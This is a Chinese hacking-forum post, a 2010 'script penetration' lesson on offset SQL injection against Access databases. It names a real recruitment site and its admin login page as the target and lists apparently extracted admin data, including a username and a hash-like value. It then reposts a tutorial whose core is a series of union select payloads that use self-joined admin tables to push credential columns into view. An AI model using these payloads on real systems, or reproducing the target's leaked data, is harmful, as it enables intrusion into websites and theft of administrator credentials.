找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1183|回复: 0

脚本渗透第十九课:利用表自连偏移注入Access数据库

[复制链接]

72

主题

0

回帖

360

牛毛

一级牛人

积分
360
发表于 2010-12-24 19:39:56 | 显示全部楼层 |阅读模式 来自 贵州省黔东南州
饭客网络一周年免费培训之脚本渗透第十九课:利用表自连偏移注入Access数据库

教程名称:利用表自连偏移注入Access数据库
讲师:I.n.c゛啵、 QQ:870****5759
目标站:http://www.hr-bank.net/
http://www.hr-bank.net/admin/Login.asp
47个字段  47-33 14  *就代表admin表的14个字段
14*2 28  28字段  47-28=19   14*3=42  47-42 5
职位标题: 2      职位编号:19
年薪要求: admin
职位类别: 1
所属行业: 1139   3   3
地点: 2003-9-25 23:13:38
职位有效期: 66cec53b8a1f1154
nnwhko
--------------------------------------------------------------------
http://apps.hi.baidu.com/share/detail/123023
作者:zake
此方法解决90%注入得到表的不到字段的网站
我举动力文章的例子,他的是28个字段,加入admin表5个字段,那么
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
* 就是5个字段?这样来爆admin里边的所有表名,但注意 * 确实代表了所有admin表的字段。如果正好比如username在可显示位置,他就会显示在页面上。
技术都有局限性 这个方法需要知道表名和一个字段名id,不需要其他字段,比如什么password username 。你要问他如果不在可显示位置么,通常不知道的是表名 表段名 可以通过查找后台登陆找到,这个就要看自己的了。
大家看看这个语句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接,这样from 后面的表就会成为字段数加倍的表,前面18+2*5 = 28 个字段 就是合法的。* 代表的字段就会拓宽 加大username password在可显示位置的几率。
如果不在怎么办? 那么
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
大家是否觉得很疑惑 18+ 2 + 5*2 = 30 > 28 但这条语句是合法的
这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 30 后边是 28 怎么可能相等?因为a.id 和 b.id在 * 里是有的,那么计算机自动去掉重复的保持集合里元素的唯一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让username password偏移到可显示的位置。
如果还没成功 怎么办?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)
http://www.hackfans.com.cn/mianfei/jiaoben/jb19.rar
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-25 13:28 , Processed in 0.302696 second(s), 32 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表